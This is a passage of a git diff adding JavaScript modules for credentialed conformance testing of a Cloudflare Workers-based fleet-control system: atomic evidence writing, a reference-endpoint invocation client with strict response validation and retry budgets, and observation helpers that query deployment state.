+    const bytes = Buffer.from(serialized);
+    parent = await open(
+      directory,
+      fileFlags(constants.O_RDONLY | constants.O_DIRECTORY),
+    );
+    assertPrivate(await parent.stat(), true);
+    await sweepStagedFiles(directory, TEMPORARY_PREFIX, TEMPORARY_SUFFIX);
+    const path = join(
+      directory,
+      `${TEMPORARY_PREFIX}${randomUUID()}${TEMPORARY_SUFFIX}`,
+    );
+    file = await open(
+      path,
+      fileFlags(constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL),
+      0o600,
+    );
+    temporary = path;
+    assertPrivate(await file.stat(), false);
+    await file.writeFile(bytes);
+    await file.sync();
+    if (!bytes.equals(await readBack(path))) throw new Error('evidence-failed');
+    await file.close();
+    file = undefined;
+    await rename(path, join(directory, 'evidence.json'));
+    temporary = undefined;
+    written = true;
+    await parent.sync();
+  } catch {
+    failed = true;
+  } finally {
+    const cleanup = await Promise.allSettled([
+      ...(file ? [file.close()] : []),
+      ...(temporary ? [unlink(temporary)] : []),
+      ...(parent ? [parent.close()] : []),
+    ]);
+    if (cleanup.some((entry) => entry.status === 'rejected')) failed = true;
+  }
+  if (failed && written) throw new DirectEvidenceWriteError();
+  return { written };
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts
new file mode 100644
index 00000000..56c68ead
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-invocation.d.mts
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectRunJournal } from './direct-credentialed-run-state.mjs';
+import type { DirectReferenceAction } from './direct-reference-contract.mjs';
+
+export type DirectInvocationErrorCode =
+  | 'invalid-input'
+  | 'invocation-busy'
+  | 'invocation-budget-exhausted'
+  | 'outcome-unknown'
+  | 'injected-response-loss'
+  | 'reference-refused';
+
+export type DirectReferenceRefusalCode =
+  | 'operation-refused'
+  | 'wrong-operation'
+  | 'missing-continuation'
+  | 'budget-exhausted';
+
+export const DIRECT_INVOCATION_FAILURE_DETAILS: readonly [
+  'platform-page',
+  'transport-failure',
+  'non-contract-answer',
+  'delivery-window-expired',
+];
+export type DirectInvocationFailureDetail =
+  (typeof DIRECT_INVOCATION_FAILURE_DETAILS)[number];
+
+export class DirectInvocationError extends Error {
+  readonly code: DirectInvocationErrorCode;
+  readonly attempts: DirectInvocationAttempts | undefined;
+  readonly detail: DirectInvocationFailureDetail | undefined;
+  readonly referenceCode: DirectReferenceRefusalCode | undefined;
+  constructor(
+    code?: DirectInvocationErrorCode,
+    attempts?: DirectInvocationAttempts,
+    referenceCode?: DirectReferenceRefusalCode,
+    detail?: DirectInvocationFailureDetail,
+  );
+}
+
+export interface DirectInvocationAttempts {
+  readonly provider: number;
+  readonly maintenance: number;
+  readonly application: number;
+}
+
+export interface DirectInvocationResult {
+  readonly result: unknown;
+  readonly attempts: DirectInvocationAttempts;
+}
+
+export interface DirectInvocationClient {
+  invoke(action: DirectReferenceAction): Promise<DirectInvocationResult>;
+}
+
+export function createDirectInvocationClient(
+  input: Readonly<{
+    prepared: PreparedDirectConformance;
+    journal: DirectRunJournal;
+    accountWorkersDevSubdomain: string;
+    invokeSecret: string;
+    fetch?: typeof fetch;
+  }>,
+): DirectInvocationClient;
+
+export function awaitReferenceIngress(
+  input: Readonly<{
+    prepared: PreparedDirectConformance;
+    accountWorkersDevSubdomain: string;
+    fetch?: typeof fetch;
+    deadlineMs?: number;
+    intervalMs?: number;
+    sleep?: (ms: number) => Promise<void>;
+  }>,
+): Promise<boolean>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-invocation.mjs b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs
new file mode 100644
index 00000000..33fd0796
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-invocation.mjs
@@ -0,0 +1,601 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { validateHeaderValue } from 'node:http';
+import https from 'node:https';
+import { Readable } from 'node:stream';
+import { readBoundedBody } from '@proofoftech/flowsafe/host-kit';
+import {
+  deriveDirectConformanceNames,
+  validateDirectConformanceConfig,
+} from './direct-credentialed-conformance-config.mjs';
+import { DirectRunStateError } from './direct-credentialed-run-state.mjs';
+import { DIRECT_REFERENCE_PATH } from './direct-reference-contract.mjs';
+
+const RESPONSE_BYTE_LIMIT = 4 * 1024 * 1024;
+const JSON_CONTENT_TYPE = /^application\/json(?:;\s*charset=utf-8)?$/iu;
+// workers.dev enablement propagates asynchronously.
+const INGRESS_DEADLINE_MS = 120_000;
+const INGRESS_INTERVAL_MS = 2_000;
+/**
+ * Measured route flaps span at most 6 s after enablement and 3 s after the
+ * first contract answer; consecutive probes span the latter window.
+ */
+const INGRESS_STABLE_PROBES = 3;
+// These handlers neither write the reference journal nor dispatch mutations.
+const READ_ONLY_ACTIONS = new Map([
+  ['control-read', null],
+  ['inventory-read', null],
+  ['audit-page', null],
+  ['migration-page', null],
+  ['cleanup-receipt', null],
+  ['decommission-export', null],
+  ['tenant-probe', new Set(['health', 'object-read'])],
+  ['tenant-fence', new Set(['read', 'inventory'])],
+]);
+export const DIRECT_INVOCATION_FAILURE_DETAILS = Object.freeze([
+  'platform-page',
+  'transport-failure',
+  'non-contract-answer',
+  'delivery-window-expired',
+]);
+const ERROR_CODES = new Set([
+  'invalid-input',
+  'invocation-busy',
+  'invocation-budget-exhausted',
+  'outcome-unknown',
+  'injected-response-loss',
+  'reference-refused',
+]);
+const REFERENCE_REFUSAL_STATUS = {
+  'operation-refused': 409,
+  'wrong-operation': 409,
+  'missing-continuation': 409,
+  'budget-exhausted': 503,
+};
+
+export class DirectInvocationError extends Error {
+  constructor(code = 'invalid-input', attempts, referenceCode, detail) {
+    const accepted = ERROR_CODES.has(code) ? code : 'invalid-input';
+    super(accepted);
+    this.name = 'DirectInvocationError';
+    this.code = accepted;
+    this.attempts = attempts;
+    this.referenceCode = referenceCode;
+    this.detail = DIRECT_INVOCATION_FAILURE_DETAILS.includes(detail)
+      ? detail
+      : undefined;
+  }
+}
+
+function invalid() {
+  throw new DirectInvocationError();
+}
+
+function unknown(detail) {
+  throw new DirectInvocationError(
+    'outcome-unknown',
+    undefined,
+    undefined,
+    detail,
+  );
+}
+
+function exactKeys(value, keys) {
+  return (
+    value !== null &&
+    typeof value === 'object' &&
+    !Array.isArray(value) &&
+    Object.keys(value).length === keys.length &&
+    keys.every((key) => Object.hasOwn(value, key))
+  );
+}
+
+function reservationError(error) {
+  try {
+    if (error instanceof DirectRunStateError) {
+      if (error.code === 'outcome-unknown')
+        return new DirectInvocationError('outcome-unknown');
+      if (error.code === 'invocation-budget-exhausted')
+        return new DirectInvocationError('invocation-budget-exhausted');
+    }
+  } catch {
+    // Foreign rejection inspection can invoke traps.
+  }
+  return new DirectInvocationError();
+}
+
+function cancelResponse(response) {
+  try {
+    void response?.body?.cancel().catch(() => {});
+  } catch {
+    // The abortable pipe owns cancellation while its source is locked.
+  }
+}
+
+function readAttempts(headers, maxAttempts) {
+  const attempts = {};
+  for (const kind of ['provider', 'maintenance', 'application']) {
+    const value = headers.get(`X-Direct-${kind}-Attempts`);
+    if (value === null || !/^(?:0|[1-9][0-9]*)$/u.test(value))
+      unknown('non-contract-answer');
+    const count = Number(value);
+    if (!Number.isSafeInteger(count) || count > maxAttempts)
+      unknown('non-contract-answer');
+    attempts[kind] = count;
+  }
+  if (
+    attempts.provider + attempts.maintenance + attempts.application >
+    maxAttempts
+  )
+    unknown('non-contract-answer');
+  return Object.freeze(attempts);
+}
+
+function referenceEndpoint(prepared, subdomain) {
+  const config = validateDirectConformanceConfig(prepared.config);
+  const names = deriveDirectConformanceNames(config);
+  if (
+    typeof subdomain !== 'string' ||
+    !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain) ||
+    prepared.names.referenceWorker !== names.referenceWorker
+  )
+    invalid();
+  return {
+    config,
+    endpoint: `https://${names.referenceWorker}.${subdomain}.workers.dev${DIRECT_REFERENCE_PATH}`,
+  };
+}
+
+export async function awaitReferenceIngress(input) {
+  let endpoint;
+  let fetchRequest;
+  let deadlineMs;
+  let intervalMs;
+  let sleep;
+  try {
+    ({ endpoint } = referenceEndpoint(
+      input.prepared,
+      input.accountWorkersDevSubdomain,
+    ));
+    fetchRequest = input.fetch ?? globalThis.fetch;
+    deadlineMs = input.deadlineMs ?? INGRESS_DEADLINE_MS;
+    intervalMs = input.intervalMs ?? INGRESS_INTERVAL_MS;
+    sleep =
+      input.sleep ??
+      ((ms) => new Promise((resolve) => setTimeout(resolve, ms)));
+    if (
+      typeof fetchRequest !== 'function' ||
+      typeof sleep !== 'function' ||
+      !Number.isSafeInteger(deadlineMs) ||
+      deadlineMs < 1 ||
+      deadlineMs > 2_147_483_647 ||
+      !Number.isSafeInteger(intervalMs) ||
+      intervalMs < 1 ||
+      intervalMs > 2_147_483_647
+    )
+      invalid();
+  } catch {
+    invalid();
+  }
+  const expiresAt = performance.now() + deadlineMs;
+  const deadline = new AbortController();
+  const signal = deadline.signal;
+  let expire;
+  const expired = new Promise((resolve) => {
+    expire = () => {
+      deadline.abort();
+      resolve(false);
+    };
+  });
+  const timer = setTimeout(expire, deadlineMs);
+  const active = () => !signal.aborted && performance.now() < expiresAt;
+  let consecutive = 0;
+  try {
+    while (active()) {
+      const exchange = (async () => {
+        let response;
+        try {
+          response = await fetchRequest(endpoint, {
+            method: 'POST',
+            headers: {
+              'Content-Type': 'application/json',
+              Accept: 'application/json',
+              'Cache-Control': 'no-store',
+            },
+            body: '{}',
+            cache: 'no-store',
+            redirect: 'manual',
+            signal,
+          });
+          if (
+            !active() ||
+            response.redirected ||
+            response.status !== 401 ||
+            response.headers.get('cache-control') !== 'no-store' ||
+            response.headers.get('www-authenticate') !== 'Bearer' ||
+            !JSON_CONTENT_TYPE.test(response.headers.get('content-type') ?? '')
+          )
+            return false;
+          const body = response.body?.pipeThrough(new TransformStream(), {
+            signal,
+          });
+          const bounded = await readBoundedBody(
+            new Request(endpoint, {
+              method: 'POST',
+              headers: response.headers,
+              body,
+              signal,
+              duplex: 'half',
+            }),
+            RESPONSE_BYTE_LIMIT,
+          );
+          return (
+            active() &&
+            bounded.ok &&
+            bounded.text ===
+              '{"contractVersion":1,"ok":false,"error":{"code":"unauthorized"}}'
+          );
+        } catch {
+          return false;
+        } finally {
+          cancelResponse(response);
+        }
+      })();
+      consecutive = (await Promise.race([exchange, expired]))
+        ? consecutive + 1
+        : 0;
+      if (active() && consecutive >= INGRESS_STABLE_PROBES) return true;
+      if (!active()) return false;
+      if (performance.now() + intervalMs >= expiresAt) {
+        await expired;
+        return false;
+      }
+      await Promise.race([sleep(intervalMs), expired]);
+    }
+    return false;
+  } finally {
+    clearTimeout(timer);
+    deadline.abort();
+  }
+}
+
+function requestReference(endpoint, { method, headers, body, signal }) {
+  return new Promise((resolve, reject) => {
+    const request = https.request(
+      endpoint,
+      { method, headers, signal, timeout: 0, agent: false },
+      (incoming) => {
+        try {
+          const responseHeaders = new Headers();
+          for (let index = 0; index < incoming.rawHeaders.length; index += 2)
+            responseHeaders.append(
+              incoming.rawHeaders[index],
+              incoming.rawHeaders[index + 1],
+            );
+          resolve(
+            new Response(Readable.toWeb(incoming), {
+              status: incoming.statusCode,
+              headers: responseHeaders,
+            }),
+          );
+        } catch (error) {
+          incoming.destroy();
+          reject(error);
+        }
+      },
+    );
+    request.on('error', reject);
+    request.end(body);
+  });
+}
+
+export function createDirectInvocationClient(input) {
+  let endpoint;
+  let configSha256;
+  let invocationTimeoutMs;
+  let maxAttempts;
+  let journal;
+  let fetchRequest;
+  let authorization;
+  try {
+    const prepared = input.prepared;
+    const resolved = referenceEndpoint(
+      prepared,
+      input.accountWorkersDevSubdomain,
+    );
+    const config = resolved.config;
+    endpoint = resolved.endpoint;
+    const secret = input.invokeSecret;
+    journal = input.journal;
+    fetchRequest = input.fetch ?? requestReference;
+    configSha256 = prepared.configSha256;
+    invocationTimeoutMs = config.referenceWorker.invocationTimeoutMs;
+    maxAttempts = config.referenceWorker.maxProviderRequests;
+    if (
+      typeof secret !== 'string' ||
+      !secret ||
+      secret !== secret.trim() ||
+      typeof fetchRequest !== 'function' ||
+      typeof journal.reserveInvocation !== 'function' ||
+      typeof journal.settleInvocation !== 'function' ||
+      typeof configSha256 !== 'string' ||
+      !/^[a-f0-9]{64}$/u.test(configSha256) ||
+      typeof prepared.referenceModuleSetSha256 !== 'string' ||
+      !/^[a-f0-9]{64}$/u.test(prepared.referenceModuleSetSha256)
+    )
+      invalid();
+    const binding = journal.snapshot().binding;
+    if (
+      binding.configSha256 !== configSha256 ||
+      binding.referenceModuleSetSha256 !== prepared.referenceModuleSetSha256 ||
+      binding.resourcePrefix !== config.resourcePrefix ||
+      binding.maxInvocations !== config.referenceWorker.maxInvocations
+    )
+      invalid();
+    authorization = `Bearer ${secret}`;
+    validateHeaderValue('Authorization', authorization);
+    if (
+      new Headers({ Authorization: authorization }).get('authorization') !==
+      authorization
+    )
+      invalid();
+  } catch {
+    invalid();
+  }
+
+  let busy = false;
+  let uncertain = false;
+  return Object.freeze({
+    async invoke(action) {
+      if (busy) throw new DirectInvocationError('invocation-busy');
+      if (uncertain) unknown();
+      busy = true;
+      let timer;
+      let deliveryTimer;
+      let retryTimer;
+      let abortRead;
+      let response;
+      const deadline = new AbortController();
+      const signal = deadline.signal;
+      try {
+        let serialized;
+        let reservation;
+        try {
+          serialized = JSON.stringify({
+            contractVersion: 1,
+            configSha256,
+            action,
+          });
+          reservation = await journal.reserveInvocation(serialized);
+        } catch (error) {
+          throw reservationError(error);
+        }
+        uncertain = true;
+        const serializedAction = JSON.parse(serialized).action;
+        const operations = READ_ONLY_ACTIONS.get(serializedAction.kind);
+        const readOnly =
+          operations === null ||
+          operations?.has(serializedAction.operation) === true;
+        let deliveryPending = true;
+        let redelivering = false;
+        let answerDetail = 'transport-failure';
+        const startedAt = performance.now();
+        const expiresAt = startedAt + invocationTimeoutMs;
+        const deliveryExpiresAt = Math.min(
+          expiresAt,
+          startedAt + INGRESS_DEADLINE_MS,
+        );
+        const assertActive = () => {
+          const now = performance.now();
+          if (now >= expiresAt || (redelivering && now >= deliveryExpiresAt))
+            deadline.abort();
+          signal.throwIfAborted();
+        };
+        const abortDetail = () =>
+          deliveryPending
+            ? readOnly &&
+              redelivering &&
+              (signal.aborted || performance.now() >= deliveryExpiresAt)
+              ? 'delivery-window-expired'
+              : answerDetail
+            : undefined;
+        const aborted = new Promise((_, reject) => {
+          abortRead = () =>
+            reject(
+              new DirectInvocationError(
+                'outcome-unknown',
+                undefined,
+                undefined,
+                abortDetail(),
+              ),
+            );
+          signal.addEventListener('abort', abortRead, { once: true });
+        });
+        timer = setTimeout(() => deadline.abort(), invocationTimeoutMs);
+        let outcome;
+        try {
+          const actionKind = serializedAction.kind;
+          const exchange = (async () => {
+            try {
+              assertActive();
+              const request = {
+                method: 'POST',
+                headers: {
+                  Authorization: authorization,
+                  'Content-Type': 'application/json',
+                  Accept: 'application/json',
+                  'Cache-Control': 'no-store',
+                },
+                body: serialized,
+                cache: 'no-store',
+                redirect: 'manual',
+                signal,
+              };
+              for (;;) {
+                let platformPage = false;
+                try {
+                  assertActive();
+                  answerDetail = 'transport-failure';
+                  response = await fetchRequest(endpoint, request);
+                  assertActive();
+                  answerDetail = 'non-contract-answer';
+                  const mediaType = response.headers
+                    .get('content-type')
+                    ?.split(';')[0]
+                    ?.trim()
+                    .toLowerCase();
+                  platformPage =
+                    !response.redirected &&
+                    (mediaType === 'text/plain' || mediaType === 'text/html') &&
+                    response.headers.get('cache-control') !== 'no-store' &&
+                    !response.headers.has('www-authenticate');
+                  answerDetail = platformPage
+                    ? 'platform-page'
+                    : 'non-contract-answer';
+                  if (
+                    response.redirected ||
+                    ![200, 409, 503].includes(response.status) ||
+                    response.headers.get('cache-control') !== 'no-store' ||
+                    !JSON_CONTENT_TYPE.test(
+                      response.headers.get('content-type') ?? '',
+                    )
+                  )
+                    unknown(answerDetail);
+                  redelivering = false;
+                  if (deliveryTimer !== undefined) {
+                    clearTimeout(deliveryTimer);
+                    deliveryTimer = undefined;
+                  }
+                  const attempts = readAttempts(response.headers, maxAttempts);
+                  const body = response.body?.pipeThrough(
+                    new TransformStream(),
+                    {
+                      signal,
+                    },
+                  );
+                  answerDetail = 'transport-failure';
+                  const bounded = await readBoundedBody(
+                    new Request(endpoint, {
+                      method: 'POST',
+                      headers: response.headers,
+                      body,
+                      signal,
+                      duplex: 'half',
+                    }),
+                    RESPONSE_BYTE_LIMIT,
+                  );
+                  assertActive();
+                  answerDetail = 'non-contract-answer';
+                  if (!bounded.ok) unknown('non-contract-answer');
+                  const value = JSON.parse(bounded.text);
+                  if (response.status === 200) {
+                    if (
+                      !exactKeys(value, [
+                        'contractVersion',
+                        'configSha256',
+                        'action',
+                        'ok',
+                        'result',
+                      ]) ||
+                      value.contractVersion !== 1 ||
+                      value.configSha256 !== configSha256 ||
+                      value.action !== actionKind ||
+                      value.ok !== true
+                    )
+                      unknown('non-contract-answer');
+                  } else {
+                    if (
+                      !exactKeys(value, ['contractVersion', 'ok', 'error']) ||
+                      value.contractVersion !== 1 ||
+                      value.ok !== false ||
+                      !exactKeys(value.error, ['code'])
+                    )
+                      unknown('non-contract-answer');
+                    const code = value.error.code;
+                    if (code === 'injected-response-loss') {
+                      if (
+                        response.status !== 503 ||
+                        actionKind !== 'migration-continue'
+                      )
+                        unknown('non-contract-answer');
+                    } else if (
+                      typeof code !== 'string' ||
+                      !Object.hasOwn(REFERENCE_REFUSAL_STATUS, code) ||
+                      REFERENCE_REFUSAL_STATUS[code] !== response.status
+                    )
+                      unknown('non-contract-answer');
+                  }
+                  assertActive();
+                  deliveryPending = false;
+                  return { value, attempts };
+                } catch {
+                  assertActive();
+                  const redeliver =
+                    readOnly || (platformPage && response.status === 404);
+                  if (!redeliver) unknown(answerDetail);
+                  cancelResponse(response);
+                  response = undefined;
+                  const remaining = deliveryExpiresAt - performance.now();
+                  if (remaining <= 0)
+                    unknown(
+                      readOnly && redelivering
+                        ? 'delivery-window-expired'
+                        : answerDetail,
+                    );
+                  redelivering = true;
+                  if (deliveryExpiresAt < expiresAt)
+                    deliveryTimer ??= setTimeout(
+                      () => deadline.abort(),
+                      remaining,
+                    );
+                  if (remaining <= INGRESS_INTERVAL_MS) await aborted;
+                  await Promise.race([
+                    new Promise((resolve) => {
+                      retryTimer = setTimeout(resolve, INGRESS_INTERVAL_MS);
+                    }),
+                    aborted,
+                  ]);
+                  if (performance.now() >= deliveryExpiresAt)
+                    unknown(
+                      readOnly && redelivering
+                        ? 'delivery-window-expired'
+                        : answerDetail,
+                    );
+                }
+              }
+            } finally {
+              if (signal.aborted) cancelResponse(response);
+            }
+          })();
+          outcome = await Promise.race([exchange, aborted]);
+          assertActive();
+          await journal.settleInvocation(reservation);
+        } catch {
+          unknown(abortDetail());
+        }
+        uncertain = false;
+        if (!outcome.value.ok) {
+          if (outcome.value.error.code === 'injected-response-loss')
+            throw new DirectInvocationError(
+              'injected-response-loss',
+              outcome.attempts,
+            );
+          throw new DirectInvocationError(
+            'reference-refused',
+            outcome.attempts,
+            outcome.value.error.code,
+          );
+        }
+        return { result: outcome.value.result, attempts: outcome.attempts };
+      } finally {
+        if (timer !== undefined) clearTimeout(timer);
+        if (deliveryTimer !== undefined) clearTimeout(deliveryTimer);
+        if (retryTimer !== undefined) clearTimeout(retryTimer);
+        if (abortRead) signal.removeEventListener('abort', abortRead);
+        deadline.abort();
+        cancelResponse(response);
+        busy = false;
+      }
+    },
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.d.mts b/packages/fleet-control/scripts/direct-credentialed-observations.d.mts
new file mode 100644
index 00000000..d52407ad
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-observations.d.mts
@@ -0,0 +1,108 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectRunJournal } from './direct-credentialed-run-state.mjs';
+import type { DirectFixtureRole } from './direct-credentialed-spec.js';
+import type { DirectDecommissionExportMetadata } from './direct-reference-lifecycle.js';
+
+export type DirectObservationErrorCode =
+  | 'invalid-input'
+  | 'outcome-unknown'
+  | 'observation-mismatch'
+  | 'provider-unavailable'
+  | 'budget-exhausted';
+
+export class DirectObservationError extends Error {
+  readonly code: DirectObservationErrorCode;
+  constructor(code?: DirectObservationErrorCode);
+}
+
+export interface DirectObservationContext {
+  readonly prepared: PreparedDirectConformance;
+  readonly journal: DirectRunJournal;
+  readonly apiToken: string;
+  readonly fetch?: typeof fetch;
+}
+
+export interface DirectExpectedWorkerVersion {
+  readonly role: DirectFixtureRole;
+  readonly versionId: string;
+  readonly databaseId: string;
+  readonly specDigest: string;
+  readonly applicationRelease: '1' | '2';
+}
+
+export interface DirectWorkerVersionObservation
+  extends DirectExpectedWorkerVersion {
+  readonly accountId: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly scriptName: string;
+  readonly currentDeployment: Readonly<{
+    deploymentId: string;
+    activeVersionId: string;
+    versions: readonly Readonly<{ versionId: string; percentage: number }>[];
+  }>;
+  readonly trafficPercentage: number;
+  readonly cpuLimitMs: number;
+  readonly subrequestLimit: number;
+  readonly schemaVersion: number;
+  readonly databaseId: string;
+  readonly namespaces: readonly Readonly<{
+    binding: 'MAINTENANCE' | 'RUNNER';
+    className: 'Maintenance' | 'Runner';
+    namespaceId: string;
+  }>[];
+  readonly bucket: Readonly<{
+    name: string;
+    jurisdiction: 'default';
+    creationDate: string;
+  }>;
+}
+
+export interface DirectSettlementEffect {
+  readonly role: DirectFixtureRole;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly scriptName: string;
+  readonly databaseId: string;
+  readonly versionId: string;
+  readonly specDigest: string;
+  readonly schemaVersion: number;
+  readonly settlementKey: string;
+  readonly identitySha256: string;
+  readonly provenanceSha256: string;
+}
+
+export interface DirectVerifiedExport {
+  readonly verified: true;
+  readonly role: DirectFixtureRole;
+  readonly receipt: Readonly<{
+    version: 1;
+    authority: string;
+    databaseId: string;
+    operationId: string;
+  }>;
+  readonly location: string;
+  readonly size: number;
+  readonly sha256: string;
+  readonly sourceInvocationOrdinal: number;
+}
+
+export function observeDirectWorkerVersion(
+  input: DirectObservationContext & DirectExpectedWorkerVersion,
+): Promise<DirectWorkerVersionObservation>;
+
+export function readDirectSettlementEffects(
+  input: DirectObservationContext &
+    Readonly<{ expected: readonly DirectExpectedWorkerVersion[] }>,
+): Promise<readonly DirectSettlementEffect[]>;
+
+export function verifyDirectDecommissionExport(
+  input: DirectObservationContext &
+    Readonly<{
+      role: DirectFixtureRole;
+      sourceInvocationOrdinal: number;
+      metadata: DirectDecommissionExportMetadata;
+    }>,
+): Promise<DirectVerifiedExport>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.mjs b/packages/fleet-control/scripts/direct-credentialed-observations.mjs
new file mode 100644
index 00000000..9a76570c
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-observations.mjs
@@ -0,0 +1,699 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { isDeepStrictEqual } from 'node:util';
+import { exactActiveVersionId } from '../src/active-route.ts';
+import { isPortablePathSegment } from '../src/export-file-name.ts';
+import { providerBindingsToPlainWorkerShape } from '../src/provider-binding-inventory.ts';
+import {
+  deriveDirectConformanceNames,
+  validateDirectConformanceConfig,
+} from './direct-credentialed-conformance-config.mjs';
+import {
+  DirectProviderError,
+  openDirectProviderSession,
+  validateProviderAuth,
+} from './direct-credentialed-provider.mjs';
+import { mutationPending } from './direct-credentialed-run-state.mjs';
+
+const CODES = new Set([
+  'invalid-input',
+  'outcome-unknown',
+  'observation-mismatch',
+  'provider-unavailable',
+  'budget-exhausted',
+]);
+const SETTLEMENT_SQL =
+  "SELECT run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256 FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'";
+const READY_SQL =
+  'SELECT tenant_tag,environment,backend,script_name,database_id,schema_version,artifact_version,desired_spec_digest,phase,settled_settlement_key FROM anchorage_fleet_deployments WHERE tenant_tag=? AND environment=?';
+
+export class DirectObservationError extends Error {
+  constructor(code = 'invalid-input') {
+    const accepted = CODES.has(code) ? code : 'invalid-input';
+    super(accepted);
+    this.name = 'DirectObservationError';
+    this.code = accepted;
+  }
+}
+
+function refuse(code = 'observation-mismatch') {
+  throw new DirectObservationError(code);
+}
+// Releases a body no one will read, handing the cancellation the refusal that
+// reached the exit. Not awaited: a hostile source can hang its own cancel.
+function cancelAndRefuse(response, code = 'observation-mismatch') {
+  const refusal = new DirectObservationError(code);
+  try {
+    void response?.body?.cancel(refusal).catch(() => {});
+  } catch {
+    /* The abortable pipe owns a locked source. */
+  }
+  throw refusal;
+}
+function object(value) {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) refuse();
+  return value;
+}
+function id(value) {
+  if (
+    typeof value !== 'string' ||
+    value.length > 128 ||
+    !isPortablePathSegment(value)
+  )
+    refuse();
+  return value;
+}
+function hash(value) {
+  if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) refuse();
+  return value;
+}
+function role(value) {
+  if (!['a', 'b', 'recovery'].includes(value)) refuse();
+  return value;
+}
+function integer(value, minimum = 0) {
+  if (!Number.isSafeInteger(value) || value < minimum) refuse();
+  return value;
+}
+function equal(value, expected) {
+  if (!isDeepStrictEqual(value, expected)) refuse();
+}
+function freeze(value) {
+  for (const item of Object.values(value))
+    if (item && typeof item === 'object') freeze(item);
+  return Object.freeze(value);
+}
+
+function context(input) {
+  try {
+    const prepared = structuredClone(input.prepared);
+    const config = validateDirectConformanceConfig(prepared.config);
+    const names = deriveDirectConformanceNames(config);
+    equal(prepared.config, config);
+    equal(prepared.names, names);
+    const snapshot = structuredClone(input.journal.snapshot());
+    const apiToken = input.apiToken;
+    const fetchRequest = input.fetch ?? globalThis.fetch;
+    validateProviderAuth(apiToken);
+    if (typeof fetchRequest !== 'function') refuse();
+    const binding = snapshot.binding;
+    id(binding.accountId);
+    equal(binding, {
+      accountId: binding.accountId,
+      configSha256: hash(prepared.configSha256),
+      referenceModuleSetSha256: hash(prepared.referenceModuleSetSha256),
+      resourcePrefix: config.resourcePrefix,
+      maxInvocations: config.referenceWorker.maxInvocations,
+    });
+    const bootstrap = snapshot.bootstrap;
+    if (mutationPending(snapshot)) refuse('outcome-unknown');
+    if (
+      snapshot.version !== 2 ||
+      !bootstrap ||
+      bootstrap.pending !== null ||
+      snapshot.lastInvocation?.state !== 'settled'
+    )
+      refuse();
+    integer(snapshot.invocationCount, 1);
+    if (
+      snapshot.invocationCount > config.referenceWorker.maxInvocations ||
+      snapshot.lastInvocation.ordinal !== snapshot.invocationCount
+    )
+      refuse();
+    hash(snapshot.lastInvocation.requestSha256);
+    integer(bootstrap.controlReadOrdinal, 1);
+    if (bootstrap.controlReadOrdinal > snapshot.invocationCount) refuse();
+    equal(bootstrap.context.names, names);
+    id(bootstrap.context.zoneId);
+    if (
+      typeof bootstrap.context.zoneName !== 'string' ||
+      !(
+        config.ownedHostname === bootstrap.context.zoneName ||
+        config.ownedHostname.endsWith(`.${bootstrap.context.zoneName}`)
+      )
+    )
+      refuse();
+    if (
+      !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(
+        bootstrap.context.accountWorkersDevSubdomain,
+      )
+    )
+      refuse();
+    for (const [field, name] of [
+      ['fleet', names.fleetDatabase],
+      ['quota', names.quotaDatabase],
+    ]) {
+      id(bootstrap[field]?.uuid);
+      if (bootstrap[field].name !== name) refuse();
+    }
+    if (
+      bootstrap.fleet.uuid === bootstrap.quota.uuid ||
+      bootstrap.exports?.name !== names.exportBucket ||
+      bootstrap.exports.jurisdiction !== 'default' ||
+      !Number.isFinite(Date.parse(bootstrap.exports.creationDate))
+    )
+      refuse();
+    if (
+      bootstrap.upload?.scriptName !== names.referenceWorker ||
+      bootstrap.ingress?.enabled !== true ||
+      bootstrap.ingress.previewsEnabled !== false
+    )
+      refuse();
+    id(bootstrap.active?.deploymentId);
+    id(bootstrap.active?.versionId);
+    return {
+      prepared,
+      config,
+      names,
+      snapshot,
+      bootstrap,
+      apiToken,
+      fetchRequest,
+      accountId: binding.accountId,
+    };
+  } catch (error) {
+    if (
+      error instanceof DirectObservationError &&
+      error.code === 'outcome-unknown'
+    )
+      throw error;
+    refuse('invalid-input');
+  }
+}
+
+function target(value, ctx) {
+  const selectedRole = role(value.role);
+  const release = value.applicationRelease;
+  if (release !== '1' && release !== '2') refuse();
+  const versionId = id(value.versionId);
+  if (versionId === 'pending') refuse();
+  return {
+    role: selectedRole,
+    ...ctx.names.roles[selectedRole],
+    environment: ctx.config.environment,
+    versionId,
+    databaseId: id(value.databaseId),
+    specDigest: hash(value.specDigest),
+    applicationRelease: release,
+    schemaVersion: Number(release),
+  };
+}
+
+async function session(ctx, observe) {
+  let provider;
+  try {
+    provider = await openDirectProviderSession({
+      apiToken: ctx.apiToken,
+      fetchRequest: ctx.fetchRequest,
+      timeoutMs: ctx.config.referenceWorker.requestTimeoutMs,
+    });
+    return freeze(await observe(provider));
+  } catch (error) {
+    const transportFailure = provider?.transport.failure();
+    if (transportFailure) refuse(transportFailure);
+    if (error instanceof DirectObservationError) throw error;
+    if (error instanceof DirectProviderError) refuse(error.code);
+    refuse('provider-unavailable');
+  } finally {
+    provider?.transport.close();
+  }
+}
+
+function traffic(value, bound) {
+  object(value);
+  id(value.id);
